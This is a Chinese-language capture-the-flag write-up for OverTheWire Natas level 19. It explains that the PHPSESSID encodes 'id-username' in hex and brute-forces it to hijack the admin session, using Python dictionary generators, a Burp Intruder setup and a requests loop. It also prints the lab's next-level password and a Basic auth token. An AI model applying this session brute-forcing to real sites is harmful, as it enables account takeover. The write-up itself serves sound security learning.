Natas19 Writeup（Session登录，常见编码，暴力破解）

Natas19：

提示，与上一题源码类似，只是PHPSESSID不连续。随便输入username和password，抓包观察PHPSESSID，发现是输入的信息，按照id-username的格式，由ascill码转化为16进制，猜测正确PHPSESSID，应该是id-admin，用python构造字典，burp抓包后使用intruder模块，导入字典后进行暴力破解。

方法1：burp破解

1.抓包得到PHPSESSID=3436322d61646d696e

2.将PHPSESSID进行ASCII hex解码（ascill码转化为16进制），发现其值为id-username格式。可以多次抓包尝试，根据结果猜测正确PHPSESSID，应该是id-admin。

3.由于-admin对应的十六进制是2d61646d696e不变，因此我们只需要构造前面的id对应的十六进制即可。0-9十个十位数对应的十六进制为30-39，我们用python构造字典。

字典脚本（生成数字001-699的16进制）：

a = []
for i in range(30,37):
    for j in range(30,40):
        for k in range(30,40):
            a.append( '%d%d%d'%(i,j,k))
with open ("1.txt","w") as f:
    for i in a:
        f.write(i+"
")

由于前100个id是0-99而不是000-099，我们使用notpad++手动将前100个id生成的16进制数前面的30去掉，得到最终的字典。

1.txt

字典进阶：

上面生成字典的方法太麻烦了，下面脚本可以帮助我们直接生成PHPSESSID值的字典。

Python2.x脚本

# coding=utf-8
import binascii
a = []
for i in range(641):
    k=binascii.hexlify(str(i))+"2d61646d696e"
    a.append(k)
with open ("1.txt","w") as f:
    for i in a:
        f.write(i+"
")

# python中，函数 hexlify 作用是返回的二进制数据的十六进制表示。
# 每个字节的数据转换成相应的 2 位十六进制表示。因此产生的字符串是原数据的两倍长度。
# unhexlify 则执行反向操作。

Python3.x脚本：

# coding=utf-8
import binascii
a = []
for i in range(641):
    k=binascii.hexlify(bytes(str(i).encode()))+b"2d61646d696e"
    a.append(k.decode())
with open ("1.txt","w") as f:
    for i in a:
        f.write(i+"
")

关于Python2和Python3的字符编码与界解码问题，看这里。

4.下面使用burp开始爆破：

如上图，这个正确结果的length比较特别，既不是所有结果中最长的，也不是最短的，而是一个中间数。我是第一次遇到这种情况，害我找了半天。

另外，如果不想使用python生成脚本，可以直接使用burp的intruder模块中的Cluster bomb模式，将PHPSESSID值的前六位数做3个payload配置，进行爆破。

得到flag：

You are an admin. The credentials for the next level are:
Username: natas20
Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

方法2：python破解

# coding=utf-8
import requests
import binascii

url = "http://natas19.natas.labs.overthewire.org/"
payload = {"username":"admin","password":"123"}

for i in range(640):
    headers = {"Cookie":"PHPSESSID="+binascii.hexlify(str(i))+"2d61646d696e","Authorization":"Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw=="}
    req = requests.post(url,params=payload,headers=headers)
    if "You are logged in as a regular user"  in req.text:
        # print(i) #打印i,查看进度
        continue
    else:
        print(i)
        print(req.text)
        exit()

flag：eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

缺点：速度太慢了，可以考虑使用多线程

参考：

https://www.cnblogs.com/ichunqiu/p/9554885.html
https://www.cnblogs.com/liqiuhao/p/6859052.html

相关阅读:
CodeForces 288A Polo the Penguin and Strings (水题)
CodeForces 289B Polo the Penguin and Matrix （数学，中位数）
CodeForces 289A Polo the Penguin and Segments (水题)
CodeForces 540C Ice Cave (BFS)
网站后台模板
 雅图CAD
mbps
WCF学习-协议绑定
 数据库建表经验总结
 资源位置
原文地址：https://www.cnblogs.com/zhengna/p/12295059.html